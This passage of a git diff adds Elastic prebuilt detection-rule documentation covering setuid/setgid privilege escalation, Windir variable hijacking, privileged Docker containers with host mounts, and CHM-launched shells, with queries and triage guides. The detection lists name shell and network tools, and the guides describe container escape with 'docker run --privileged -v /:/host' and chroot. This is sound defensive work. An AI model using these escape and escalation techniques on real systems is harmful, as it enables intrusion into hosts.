System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and ( + (process.user.id == "0" and process.real_user.id != "0") or + (process.group.id == "0" and process.real_group.id != "0") +) and ( + process.name in ( + "aa-exec", "ab", "agetty", "alpine", "ar", "arj", "arp", "as", "ascii-xfr", "ash", "aspell", + "atobm", "awk", "base32", "base64", "basenc", "basez", "bc", "bridge", "busctl", + "busybox", "bzip2", "cabal", "capsh", "cat", "choom", "chown", "chroot", "clamscan", "cmp", + "column", "comm", "cp", "cpio", "cpulimit", "csplit", "csvtool", "cupsfilter", "curl", + "cut", "date", "dd", "debugfs", "dialog", "diff", "dig", "distcc", "dmsetup", "docker", + "dosbox", "ed", "efax", "elvish", "emacs", "env", "eqn", "espeak", "expand", "expect", "file", + "fish", "flock", "fmt", "fold", "gawk", "gcore", "gdb", "genie", "genisoimage", "gimp", + "grep", "gtester", "gzip", "hd", "head", "hexdump", "highlight", "hping3", "iconv", "install", + "ionice", "ispell", "jjs", "join", "jq", "jrunscript", "julia", "ksh", "ksshell", "kubectl", + "ld.so", "less", "links", "logsave", "look", "lua", "make", "mawk", "minicom", "more", + "mosquitto", "msgattrib", "msgcat", "msgconv", "msgfilter", "msgmerge", "msguniq", "multitime", + "mv", "nasm", "nawk", "ncftp", "nft", "nice", "nl", "nm", "nmap", "node", "nohup", "ntpdate", + "od", "openssl", "openvpn", "pandoc", "paste", "perf", "perl", "pexec", "pg", "php", "pidstat", + "pr", "ptx", "python", "rc", "readelf", "restic", "rev", "rlwrap", "rsync", "rtorrent", + "run-parts", "rview", "rvim", "sash", "scanmem", "sed", "setarch", "setfacl", "setlock", "shuf", + "soelim", "softlimit", "sort", "sqlite3", "ss", "ssh-agent", "ssh-keygen", "ssh-keyscan", + "sshpass", "start-stop-daemon", "stdbuf", "strace", "strings", "sysctl", "systemctl", "tac", + "tail", "taskset", "tbl", "tclsh", "tee", "terraform", "tftp", "tic", "time", "timeout", "troff", + "ul", "unexpand", "uniq", "unshare", "unsquashfs", "unzip", "update-alternatives", "uudecode", + "uuencode", "vagrant", "varnishncsa", "view", "vigr", "vim", "vimdiff", "vipw", "w3m", "watch", + "wc", "wget", "whiptail", "xargs", "xdotool", "xmodmap", "xmore", "xxd", "xz", "yash", "zsh", + "zsoelim" + ) or + (process.name == "ip" and ((process.args == "-force" and process.args in ("-batch", "-b")) or (process.args == "exec"))) or + (process.name == "find" and process.args in ("-exec", "-execdir")) or + (process.name in ("bash", "csh", "dash") and process.args in ("-p", "-b")) +) and not ( + process.parent.name == "spine" or + process.parent.executable in ( + "/usr/NX/bin/nxexec", "/opt/andrisoft/bin/WANmaintenance", "/usr/lib/vmware/bin/vmware-vmx", + "/usr/bin/pamprivilegechange", "/usr/lib/hyper-v/bin/hv_kvp_daemon" + ) or + process.parent.command_line in ("runc init", "/opt/bitdefender-security-tools/bin/auctl") or + process.args like ("/usr/bin/snmpwalk*", "/usr/bin/snmpbulkwalk*", "/usr/bin/snmpget*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-privilege-escalation-via-windir-environment-variable.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-privilege-escalation-via-windir-environment-variable.asciidoc new file mode 100644 index 0000000000..e1a00bae84 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-privilege-escalation-via-windir-environment-variable.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-20-privilege-escalation-via-windir-environment-variable]] +=== Privilege Escalation via Windir Environment Variable + +Identifies a privilege escalation attempt via a rogue Windows directory (Windir) environment variable. This is a known primitive that is often combined with other vulnerabilities to elevate privileges. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.tiraniddo.dev/2017/05/exploiting-environment-variables-in.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 314 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Privilege Escalation via Windir Environment Variable* + + +The Windir environment variable points to the Windows directory, crucial for system operations. Adversaries may alter this variable to redirect processes to malicious directories, gaining elevated privileges. The detection rule monitors changes to this variable in the registry, flagging deviations from expected paths like "C:\windows," thus identifying potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the registry change event details to identify the specific user account associated with the altered Windir or SystemRoot environment variable. This can be done by examining the registry path and user context in the event data. +- Check the registry data strings to determine the new path set for the Windir or SystemRoot variable. Investigate if this path points to a known malicious directory or an unexpected location. +- Correlate the event with other recent registry changes or system events on the same host to identify any patterns or additional suspicious activities that might indicate a broader attack. +- Investigate the process or application that initiated the registry change by reviewing process creation logs or command-line arguments around the time of the event. This can help identify the source of the change. +- Assess the affected system for any signs of compromise or unauthorized access, such as unusual network connections, unexpected running processes, or new user accounts. +- Consult threat intelligence sources to determine if the observed behavior matches any known attack patterns or campaigns, particularly those involving privilege escalation techniques. +- If possible, restore the Windir or SystemRoot environment variable to its expected value and monitor the system for any further unauthorized changes. + + +*False positive analysis* + + +- System updates or patches may temporarily alter the Windir environment variable. Monitor for these events during known maintenance windows and consider excluding them from alerts. +- Custom scripts or applications that modify environment variables for legitimate purposes can trigger false positives. Identify these scripts and whitelist their activity in the detection rule. +- User profile migrations or system restorations might change the Windir path. Exclude these operations if they are part of routine IT processes. +- Virtual environments or sandboxed applications may use different Windir paths. Verify these environments and adjust the detection rule to accommodate their specific configurations. +- Administrative tools that modify user environments for configuration management can cause alerts. Document these tools and create exceptions for their expected behavior. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Revert the Windir environment variable to its legitimate value, typically "C:\windows", to restore normal system operations. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any malicious software or scripts. +- Review recent user activity and system logs to identify any unauthorized access or changes, focusing on the time frame around the detected registry change. +- Reset passwords for any user accounts that may have been compromised, especially those with elevated privileges. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring on the affected system and similar endpoints to detect any further attempts to alter critical environment variables or other suspicious activities. + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and +registry.value : ("windir", "systemroot") and registry.data.strings != null and +registry.path : ( + "*\\Environment\\windir", + "*\\Environment\\systemroot" + ) and + not registry.data.strings : ("C:\\windows", "%SystemRoot%") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Path Interception by PATH Environment Variable +** ID: T1574.007 +** Reference URL: https://attack.mitre.org/techniques/T1574/007/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-privileged-container-creation-with-host-directory-mount.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-privileged-container-creation-with-host-directory-mount.asciidoc new file mode 100644 index 0000000000..c6970a005a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-privileged-container-creation-with-host-directory-mount.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-20-privileged-container-creation-with-host-directory-mount]] +=== Privileged Container Creation with Host Directory Mount + +This rule detects the creation of privileged containers that mount host directories into the container's filesystem. Such configurations can be exploited by attackers to escape the container isolation and gain access to the host system, potentially leading to privilege escalation and lateral movement within the environment. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/blog/shai-hulud-worm-npm-supply-chain-compromise +* https://socket.dev/blog/shai-hulud-strikes-again-v2 +* https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack +* https://unit42.paloaltonetworks.com/container-escape-techniques/ + +*Tags*: + +* Domain: Endpoint +* Domain: Container +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Privileged Container Creation with Host Directory Mount* + + +This rule flags creation of a privileged container that bind-mounts host directories into the container filesystem, breaking isolation and granting direct access to host files and devices. An attacker on a compromised node starts a privileged container via the runtime, bind-mounts the host root (/:) inside it, then chroots and alters critical files or services to seize host control, persist, and pivot. + + +*Possible investigation steps* + + +- Retrieve the full process tree and execution context (user, controlling TTY, parent, remote source IP) to identify who initiated the container and whether it aligns with a sanctioned change. +- Run runtime introspection to confirm the container’s mounts and privileges (e.g., docker ps/inspect or CRI equivalents), capturing the container ID, exact hostPath mappings, image, entrypoint, and start time. +- If orchestrated, correlate with Kubernetes events and kubelet logs at the same timestamp to find any Pod using privileged: true with hostPath volumes, recording the namespace, service account, controller, and requestor. +- Review audit and file integrity telemetry after container start for host-impacting actions such as chroot into the mount, nsenter into host namespaces, or writes to critical paths (/etc/passwd, /etc/sudoers, /root/.ssh, /var/lib/kubelet, and systemd unit directories). +- Assess image provenance and intent by resolving the image digest and registry, reviewing history/entrypoint for post-start tooling, and validating with service owners or allowlists whether this privileged host-mount is expected on this node. + + +*False positive analysis* + + +- An administrator uses docker run --privileged with -v /:/host during a break-glass or troubleshooting session to edit host files or restart services, matching the pattern but aligned with an approved maintenance procedure. +- Automated provisioning or upgrade workflows intentionally start a privileged container that bind-mounts / to apply system configuration, install packages, or manage kernel modules during node bootstrap, producing an expected event. + + +*Response and remediation* + + +- Immediately stop and remove the privileged container by its ID using docker, cordon the node to prevent scheduling, and temporarily disable the Docker/CRI socket to block further privileged runs. +- Preserve forensic artifacts (docker inspect output, container image and filesystem, bash history, /var/log) and remediate by diffing and restoring critical paths (/etc, /root/.ssh, /etc/systemd/system, /var/lib/kubelet), removing rogue users, SSH keys, and systemd units. +- Rotate credentials potentially exposed by the host mount (SSH keys, kubelet certs, cloud tokens under /var/lib/kubelet or /root), patch the container runtime, and uncordon or rejoin the node only after verifying privileged runs and host-root mounts are blocked. +- Escalate to incident response if the mount included "/" or if evidence shows chroot or nsenter into host namespaces or writes to /etc/passwd, /etc/sudoers, or systemd unit files, and initiate host reimage and broader fleet scoping. +- Enforce controls that deny --privileged and hostPath of "/" via admission policy (Pod Security Standards, Kyverno, OPA Gatekeeper), drop CAP_SYS_ADMIN with seccomp/AppArmor, enable Docker userns-remap and no-new-privileges, and restrict membership in the docker group. +- Establish a break-glass approval workflow and an allowlist for legitimate host mounts, enable file integrity monitoring on /etc and kubelet directories, and add runtime rules to alert and block future docker run -v /:/host attempts. + +==== Setup + + + +*Setup* + +This rule requires data coming in from Elastic Defend. + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name == "docker" and process.args == "--privileged" and process.args == "run" and +process.args == "-v" and process.args like "/:/*" and +not ( + (process.args == "aktosecurity/mirror-api-logging:k8s_ebpf" and process.args == "akto-api-security-traffic-collector") or + (process.args like "goharbor/prepare:*" and process.args in ("/:/hostfs", "/:/hostfs/")) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: Container Administration Command +** ID: T1609 +** Reference URL: https://attack.mitre.org/techniques/T1609/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-privileged-docker-container-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-privileged-docker-container-creation.asciidoc new file mode 100644 index 0000000000..7a88acf260 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-privileged-docker-container-creation.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-20-privileged-docker-container-creation]] +=== Privileged Docker Container Creation + +This rule leverages the new_terms rule type to identify the creation of a potentially unsafe docker container from an unusual parent process. Attackers can use the "--privileged" flag to create containers with escalated privileges, which can lead to trivial privilege escalation, docker escaping and persistence. access. + +*Rule type*: new_terms + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* Domain: Container +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Privileged Docker Container Creation* + + +Docker containers are lightweight, portable units that package applications and their dependencies. The `--privileged` flag grants containers extensive host access, posing security risks. Adversaries exploit this to escalate privileges or escape containers. The detection rule identifies unusual privileged container creation by monitoring specific process actions and arguments, helping to flag potential threats early. + + +*Possible investigation steps* + + +- Review the alert details to confirm the presence of the `--privileged` flag in the process arguments, as indicated by the query field `process.args:(run and --privileged)`. +- Identify the parent process of the Docker command by examining the `event.category:process` and `event.type:start` fields to determine if it originates from an unusual or unauthorized source. +- Check the user account associated with the Docker process to verify if it has legitimate access and permissions to create privileged containers. +- Investigate the timeline of events leading up to the container creation by reviewing related logs and events around the `event.action:exec` to identify any suspicious activities or patterns. +- Assess the container's configuration and running processes to determine if any unauthorized or potentially harmful applications are being executed within the container. +- Correlate the alert with other security events or alerts in the environment to identify potential indicators of compromise or broader attack patterns. + + +*False positive analysis* + + +- Routine administrative tasks may trigger the rule if system administrators use the --privileged flag for legitimate container management. To handle this, identify and document these tasks, then create exceptions for known administrative processes. +- Automated deployment scripts that require elevated privileges might also cause false positives. Review these scripts and whitelist them by specifying the parent process or script name in the exclusion criteria. +- Development environments often use privileged containers for testing purposes. To reduce noise, exclude processes originating from known development machines or user accounts. +- Some monitoring or security tools may use privileged containers for legitimate purposes. Verify these tools and add them to the exception list to prevent unnecessary alerts. +- Regularly review and update the exclusion list to ensure it reflects current operational practices and does not inadvertently allow malicious activity. + + +*Response and remediation* + + +- Immediately isolate the affected container to prevent further interaction with the host system. This can be done by stopping the container using `docker stop `. + +- Review and revoke any unnecessary permissions or access rights granted to the container. Ensure that the `--privileged` flag is not used unless absolutely necessary. + +- Conduct a thorough investigation of the container's filesystem and running processes to identify any malicious activity or unauthorized changes. Use tools like `docker exec` to inspect the container's environment. + +- Check for any signs of container escape or host compromise by reviewing system logs and monitoring for unusual activity on the host machine. + +- If a compromise is confirmed, initiate a full incident response procedure, including forensic analysis and system restoration from clean backups. + +- Update and patch the Docker daemon and any related software to the latest versions to mitigate known vulnerabilities that could be exploited. + +- Enhance monitoring and alerting for privileged container creation by integrating additional security tools or services that provide real-time threat intelligence and anomaly detection. + +==== Setup + + + +*Setup* + +This rule requires data coming in from Elastic Defend. + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:process and event.type:start and +event.action:(exec or exec_event or start) and +process.name:docker and process.args:(run and --privileged) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: Container Administration Command +** ID: T1609 +** Reference URL: https://attack.mitre.org/techniques/T1609/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-process-activity-via-compiled-html-file.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-process-activity-via-compiled-html-file.asciidoc new file mode 100644 index 0000000000..21364bc956 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-process-activity-via-compiled-html-file.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-20-process-activity-via-compiled-html-file]] +=== Process Activity via Compiled HTML File + +Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. Adversaries may conceal malicious code in a CHM file and deliver it to a victim for execution. CHM content is loaded by the HTML Help executable program (hh.exe). + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Process Activity via Compiled HTML File* + + +CHM (Compiled HTML) files are a format for delivering online help files on Windows. CHM files are compressed compilations of various content, such as HTML documents, images, and scripting/web-related programming languages such as VBA, JScript, Java, and ActiveX. + +When users double-click CHM files, the HTML Help executable program (`hh.exe`) will execute them. `hh.exe` also can be used to execute code embedded in those files, PowerShell scripts, and executables. This makes it useful for attackers not only to proxy the execution of malicious payloads via a signed binary that could bypass security controls, but also to gain initial access to environments via social engineering methods. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Investigate the parent process to gain understanding of what triggered this behavior. + - Retrieve `.chm`, `.ps1`, and other files that were involved to further examination. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executables, scripts and help files retrieved from the system using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- If the malicious file was delivered via phishing: + - Block the email sender from sending future emails. + - Block the malicious web pages. + - Remove emails from the sender from mailboxes. + - Consider improvements to the security awareness program. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "hh.exe" and + process.name : ("mshta.exe", "cmd.exe", "powershell.exe", "pwsh.exe", "powershell_ise.exe", "cscript.exe", "wscript.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: 